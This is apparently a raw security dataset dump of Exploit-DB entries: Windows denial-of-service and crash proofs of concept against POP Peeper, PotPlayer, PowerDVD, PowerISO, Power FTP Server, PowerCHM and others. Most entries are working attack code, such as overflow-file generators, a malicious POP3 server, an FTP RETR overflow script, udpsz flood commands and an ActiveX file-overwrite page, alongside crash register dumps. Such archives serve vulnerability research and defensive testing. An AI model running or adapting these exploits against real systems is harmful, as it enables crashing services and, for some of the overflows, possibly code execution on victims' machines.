deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38659
Description: POP Peeper 4.0.1 - Overwrite (SEH)
Type: dos
Platform: windows
Date: 2015-11-09
Author: Un_N0n

Exploit:
'''
********************************************************************************************
# Exploit Title: POP Peeper SEH Over-write.
# Date: 9/14/2015
# Exploit Author: Un_N0n
# Software Link: http://www.esumsoft.com/download
# Version: v4.0.1
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************
[DUMP:]
'''
EAX 00000000
ECX 20203029
EDX 77C5660D ntdll.77C5660D
EBX 00000000
ESP 0012EC5C
EBP 0012EC7C
ESI 00000000
EDI 00000000

EIP 20203029 

==============================
STACK:
0012FBF4   41414141
0012FBF8   41414141
0012FBFC   41414141
0012FC00   41414141
0012FC04   41414141 
0012FC08   909020EB  Pointer to next SE>
0012FC0C   20203029  SE handler
0012FC10   43434343
0012FC14   43434343
0012FC18   43434343
0012FC1C   43434343
0012FC20   43434343
0012FC24   43434343
0012FC28   43434343
===============================
'''

[Steps to Produce the Crash]:
1- Open 'POPPeeper.exe'
2- Goto Accounts->Add->CreateSingleAccount.
3- After entering the email address, the option for Account name will appear,
   enter the contents of crash.txt in it->Save.
4- Then compose a new mail->In TO field and Subject field, enter the contents of crash.txt
5- Save as Draft, software will crash.
6- Open up "POPPeeper.exe" again.
7- Click on Check Mail option, Software will crash.
Everytime you click on Check mail, it will crash as it will load the saved DRAFT.

[Code to produce CRASH.txt]
'''

buffer = "A"*66666
file = "crash.txt"
f = open(file,'w')
f.write(buffer)
f.close()

'''
[Extra Info:]
Offset : 2052
**********************************************************************************************
'''
Exploit-DB #8526
Description: Popcorn 1.87 - Remote Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-23
Author: x.CJP.x

Exploit:
#!/usr/bin/python
#[x]Product download : http://www.ultrafunk.com/products/popcorn/
#[+]Founder : x.CJP.x
#[+]Greeting : His0k4,Sub-Zero,Bibi-info,Aach2006,Youness,Simitch,Halimz,Bibicha.. :=)
#[-]Seni seviyorum, base64_decode('TW91bmE=');

from socket import *
import struct

buffer="\x41"*6000 # just random

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 110))
s.listen(1)
print "[*] Listening on [POP3] 110"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])

c.send("+OK "+buffer+"\r\n")
c.recv(512)
raw_input("[*] Crashed!\nPress key to quit")
c.close()
s.close()

# milw0rm.com [2009-04-23]
Exploit-DB #12074
Description: Portable AVS DVD Authoring 1.3.3.51 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-04-05
Author: R3d-D3V!L

Exploit:
#C:\perl\bin
# Exploit Title: [Portable AVS DVD Authoring ]
# Date: [2010/4pr/05]
# Author: [R3d-D3v!L]
# Version: [v1.3.3.51]
# Tested on: [windows XP sp3]
# Coded by >x< coder :


my $file= "crash.mp3";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 8000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";


#[~]-----------------------------{((MAGOUSH-87))}---------------------------------------


#[~] Greetz tO: dolly & MERNA & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush-1987

#[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

#[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

#[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

#[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

#[~]spechial FR!ND: 74M3M

#[~] !'M 4R48!4N 3XPL0!73R.

#[~]{[(D!R 4ll 0R D!E)]};

#[~]---------------------------------------------------------------------------------------------
Exploit-DB #28051
Description: PotPlayer 1.5.39036 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-09-03
Author: ariarat

Exploit:
# Exploit Title: PotPlayer Version 1.5.39036 - Beta (.wav) - Crash POC
# Date: 03-09-2013
# Exploit Author: ariarat
# Software Link: http://download.cnet.com/Daum-Potplayer/3000-13632_4-75587055.html
# Version: 1.5.39036
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating PoC file (.wav),drag it to Player!
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "potPlayer.wav"
file = open(filename , "w")
file.write(string)
file.close()
Exploit-DB #30308
Description: PotPlayer 1.5.42509 Beta - Integer Division by Zero Denial of Service
Type: dos
Platform: windows
Date: 2013-12-15
Author: sajith

Exploit:
###########################################################
#[~] Exploit Title:PotPlayer 1.5.42509 Beta - DOS(Integer Division by Zero
#Exploit)
#[~] Author: sajith
#[~] version: PotPlayer 1.5.42509 Beta
#[~]Vendor Homepage: http://daumpotplayer.com/
#[~] Tested in: Windows XP SP3
#[~] vulnerable app link:http://daumpotplayer.com/download/
###########################################################

#POC:
#-------
#!/usr/bin/python
raw_input("Hit Enter to create a malicious file")

f = open("victim.wav","w")

header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
f.write(header)

print "[#] File created by sajith shetty"

raw_input("Hit enter to exit")
#-----
'''
(694.4d8): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=040e0be0 ecx=00000000 edx=00000000 esi=ffffffff
edi=0021977a
eip=748fe82c esp=0131f2a0 ebp=0131f334 iopl=0         nv up ei pl zr na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00010246
'''
Exploit-DB #39428
Description: PotPlayer 1.6.5x - '.mp3' Crash (PoC)
Type: dos
Platform: windows
Date: 2016-02-09
Author: Shantanu Khandelwal

Exploit:
# Exploit Title: POTPLAYER 1.6.5x MP3 CRASH POC
# Date: 08-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: https://potplayer.daum.net/
# Software Link: (32-Bit) http://get.daum.net/PotPlayer/v3/PotPlayerSetup.exe
# Software Link: (64-Bit) http://get.daum.net/PotPlayer64/v3/PotPlayerSetup64.exe
# Version: 1.6.5x
# Tested on: Windows XP Sp3,Windows 8,Windows 10
# CVE : unknown at the moment
#============================================================================================
#Description: Read Access Violation on Block Data Mo#ve #Short Description:
ReadAVonBlockMove #Exploitability Classification: PROBABLY_EXPLOITABLE
#============================================================================================
#==================================================
#(8a4.d54): Access violation - code c0000005 (first chance) #First chance
exceptions are reported before any exception handling. #This exception may
be expected and handled. #eax=05d46659 ebx=05bb2998 ecx=00000011
edx=00000000 esi=05c68ffd edi=0012edd4 #eip=01b62e1e esp=0012e9dc
ebp=0363ad80 iopl=0 nv up ei pl nz ac po nc #cs=001b ss=0023 ds=0023
es=0023 fs=003b gs=0000 efl=00010212 #*** ERROR: Symbol file could not be
found. Defaulted to export symbols for C:\Program
Files\DAUM\PotPlayer\PotPlayer.dll -
#===========================================================

POTPLAYER has buffer overflow in png parser of image of MP3 offset 5B .
Crash is because of '\x22' at offset 5B

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39428.zip
Exploit-DB #15495
Description: Power Audio Editor 7.4.3.230 - '.cda' Denial of Service
Type: dos
Platform: windows
Date: 2010-11-12
Author: anT!-Tr0J4n

Exploit:
#Title: Power Audio Editor (.cda) Denial of service vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~all DEV-PoinT t34m

#thanks    :   r0073r ; Sid3^effects ; L0rd CrusAd3r ; all Inj3ct0r 31337 Member

#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com

#Software :  http://www.nctsoft.net

#Version   :  7.4.3.230

#Tested on:   Windows XP sp3

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


#!/usr/bin/python
outfile="X.cda"
junk="\x41" * 3400
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , [+]"
Exploit-DB #14380
Description: Power/Personal FTP Server - RETR Denial of Service
Type: dos
Platform: windows
Date: 2010-07-16
Author: antrhacks

Exploit:
#!/usr/bin/python

#--------------------------------------------
# Power/Personal FTP Server RETR Command DoS
#--------------------------------------------

# Title: Power/Personat FTP Server RETR Command DoS
# Author: antrhacks
# Software Link: http://www.cooolsoft.com/download/PowerFTP.EXE
# Version: 2.30
# Platform:  Windows XP SP3 Home edition Fr
# Tested with buffersize: 82000, 83000, 84000, ... 92000
# Example: ./PowerFTP.py 192.168.0.10 test test 85000 
 
import socket
import sys
 
# Description:
# RETR command overflow with PORT specified
 
def howto():
    print ("Usage: scriptname.py <IP> <username> <password> <buffersize>\n")
 
def exploit(host,user,password):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('0.0.0.0', 6666)) # Need that for the PORT Command !!! 
    try:
        sock.connect((host, 21))
    except:
        print ("Unable to connect to host")
        sys.exit(1)
    r=sock.recv(1024)
    print r 
    r=sock.getsockname()
    print r
    sock.send("USER " + user + "\r\n")
    r=sock.recv(1024)
    print r
    sock.send("PASS " + password + "\r\n")
    r=sock.recv(1024)
    print r
    sock.send("PORT 192,168,0,11,26,10" + "\r\n") # 26,10 => 0x1a,0x0a => 6666
    r=sock.recv(1024)
    print r
    sock.send("RETR " + buffer + " \r\n")
    r=sock.recv(1024)
    print r
    sock.send("QUIT" + " \r\n")
    r=sock.recv(1024)
    print r
    sock.close()
         
if len(sys.argv) <> 5:
    howto()
    sys.exit(1)
else:
    host=sys.argv[1]
    user=sys.argv[2]
    password=sys.argv[3]
    buffersize=int(sys.argv[4])
    buffer="\x0a\x0a" * buffersize
    exploit(host,user,password)
    sys.exit(0)
 
# END


# (2010-07-15) - Inj3ct0r.com -
Exploit-DB #8300
Description: PowerCHM 5.7 - '.hhp' Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-27
Author: Encrypt3d.M!nd

Exploit:
# exploit.py
# PowerCHM 5.7 (hhp file) Stack overflow PoC
# By:Encrypt3d.M!nd
#
# Orginally Discovered by:
# Biks Security (http://security.biks.vn/?p=365)
#

header = (
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=bratax.chm\n"
"Contents file=aaaaaa.hhc\n"
"Index file=aaaaaa.hhk\n"
"Language=0x813 Dutch (Belgium)\n"
"Title=\n"
"Error log file=Errlog.txt\n"
"Default Window=main\n\n"
"[WINDOWS]\n"
'main="","aaaaaa.hhc","aaaaaa.hhk","","",,,,,0x41520,240,0x184E,[262,184,762,584],,,,0,0,0,0\n\n'
"[FILES]\n\n"
"[INFOTYPES]\n")

file=open('poc.hhp','w')
file.write(header+"\x41"*999+"\x42\x42\x42\x42"+"\x43"*500)
file.close()

# milw0rm.com [2009-03-27]
Exploit-DB #8434
Description: PowerCHM 5.7 - Long URL Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-14
Author: SuB-ZeRo

Exploit:
<html>
<body>
<br>
<font style="font-family:arial;font-size:24px">PowerCHM 5.7 (Long url) Local stack overflow (SEH) POC</font><br>
<font style="font-family:arial;font-size:19px">found By SuB-ZeRo (fbh@hotmail.com) thnaks to hisok4</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:12px">Greetz:All friends and muslims HackeRs secdz.com</font><br>
<br>

<script language="JavaScript">
var crash = "http://";

for (i=0;i<9000;i++) crash +="%41";

crash += "/test.rar"

document.write ('<a href="' + crash + '">B00M!</a>');

</script>
</body>
</html>

# milw0rm.com [2009-04-14]
Exploit-DB #36427
Description: PowerDVD 11.0.0.2114 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-12-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/50953/info

PowerDVD is prone to a denial-of-service vulnerability.

Attackers may leverage this issue to crash the affected application, denying service to legitimate users.

PowerDVD 11.0.0.2114 is vulnerable; other versions may also be affected. 

udpsz -c "\r\n\r\n" -T SERVER 55793 -1
Exploit-DB #32105
Description: PowerDVD 8.0 - '.m3u' / '.pls' Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2008-07-22
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/30341/info

PowerDVD is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

PowerDVD 8.0 is vulnerable; prior versions may also be affected. 

#!/usr/bin/perl
#
# CyberLink PowerDVD <= 8.0 Crafted PLS/M3U Playlist File Buffer Overflow Exploit
# Coded by Gjoko "LiquidWorm" Krstic
# liquidworm [At] gmail.com
# http://www.zeroscience.org
#

$buffer = "J" x 520000;

open(m3u, ">./evil_list.m3u"); # or .pls

print m3u "$buffer";

print "\n--> Evil Playlist created... Have fun!\n";

# July, 2008
Exploit-DB #9672
Description: PowerISO 4.0 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-14
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

####################################################################################
#
# Poweriso 4.0 Local Buffer Overflow PoC
# Found By:	Dr_IDE
# Tested On:	XPSP3
# Usage:	Create New ISO, Add a New Folder, Paste to Rename Folder, Click Save
# Notes:	This must have been fixed somewhere between 4.0 and 4.7
#
####################################################################################

'''
EAX 00ADDDC0
ECX 00000000
EDX 00004000
EBX 00000000
ESP 0211FA6C ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~0"
EBP 00000000
ESI 0211FA20
EDI 00ADC2F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 41414141
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD5000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 3C0A 0012EBE8 00000000
ST1 empty -UNORM F[PII_REDACTED]0 0000000C
ST2 empty 3[PII_REDACTED]546675450e-4932
ST3 empty 0[PII_REDACTED]019151440e-4933
ST4 empty 3[PII_REDACTED]851109490e-4932
ST5 empty +UNORM 0001 0012F[PII_REDACTED]0
ST6 empty +UNORM 000C 000B0418 7E418734
ST7 empty -UNORM ABCD 7E43E577 0012F674
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
'''

# Shellcode must be Alpha Upper

buff = ("\x41" * 5000)

f1 = open("poweriso.txt","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-14]
Exploit-DB #19456
Description: PowerNet Twin Client 8.9 - 'RFSync 1.0.0.1' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-06-29
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  PowerNet Twin Client
              http://www.honeywellaidc.com/en-US/Pages/Product.aspx?category=Software&cat=HSM&pid=PowerNet%20Twin%20Client
Versions:     <= 8.9 (RFSync 1.0.0.1)
Platforms:    Windows
Bug:          unexploitable stack overflow
Exploitation: remote
Date:         29 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"PowerNet Twin Client v8.9 PowerNet Twin Client is a serverless,
terminal based software used in 2.4 GHz networks."


#######################################################################

======
2) Bug
======


The software uses the function 00403cb0 to read 100 bytes from the
incoming connection and uses a signed 8bit value provided by the
client to copy this data in a stack buffer:

  00403DCB  |. 0FBE4424 29         MOVSX EAX,BYTE PTR SS:[ESP+29]   ; 8bit size with 8->32bit
  00403DD0  |. 8B8C24 38020000     MOV ECX,DWORD PTR SS:[ESP+238]   ; integer expansion bug
  00403DD7  |. 83C4 08             ADD ESP,8
  00403DDA  |. 48                  DEC EAX                          ; integer overflow
  00403DDB  |. 85C9                TEST ECX,ECX
  00403DDD  |. 74 02               JE SHORT RFSync.00403DE1
  00403DDF  |. 8901                MOV DWORD PTR DS:[ECX],EAX
  00403DE1  |> 8B9424 2C020000     MOV EDX,DWORD PTR SS:[ESP+22C]
  00403DE8  |. 85D2                TEST EDX,EDX
  00403DEA  |. 74 29               JE SHORT RFSync.00403E15
  00403DEC  |. 8BC8                MOV ECX,EAX
  00403DEE  |. 8BD9                MOV EBX,ECX
  00403DF0  |. C1E9 02             SHR ECX,2
  00403DF3  |. 8BFA                MOV EDI,EDX
  00403DF5  |. 8D7424 23           LEA ESI,DWORD PTR SS:[ESP+23]    ; stack overflow
  00403DF9  |. F3:A5               REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

So the byte 0x80 will become 0xffffff80 and so on.

Unfortunately this vulnerabily cannot be exploited to execute code
because there is no way to control the data located after the packet
that has a fixed size of 100 bytes: the result is just a Denial of
Service.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip


  udpsz -T -b 0x41 -C "11 00" SERVER 1804 100


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #7750
Description: PowerPoint Viewer OCX 3.1 - Remote File Overwrite
Type: dos
Platform: windows
Date: 2009-01-13
Author: Stack

Exploit:
<HTML>

---------------------------------------------------------- <br>
            PowerPoint Viewer OCX v3.1                     <br>
---------------------------------------------------------- <br>
-----------------------------------<br>
#  By Mountassif Moad a.k.a Stack #
-----------------------------------<br>
<!--
v4 Team & evil finger
Class OA
GUID: {97AF4A45-49BE-4485-9F55-91AB40F22B92}
Number of Interfaces: 1
Default Interface: _DOA
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {97AF4A45-49BE-4485-9F55-91AB40F22B92}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  -->
<title>PowerPoint Viewer OCX v3.1 </title>
<BODY>
 <object id=Stack classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22B92}"></object>

<SCRIPT>

function Do_it()
 {
     File = "c:\\St_.exe"
   Stack.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML>

# milw0rm.com [2009-01-13]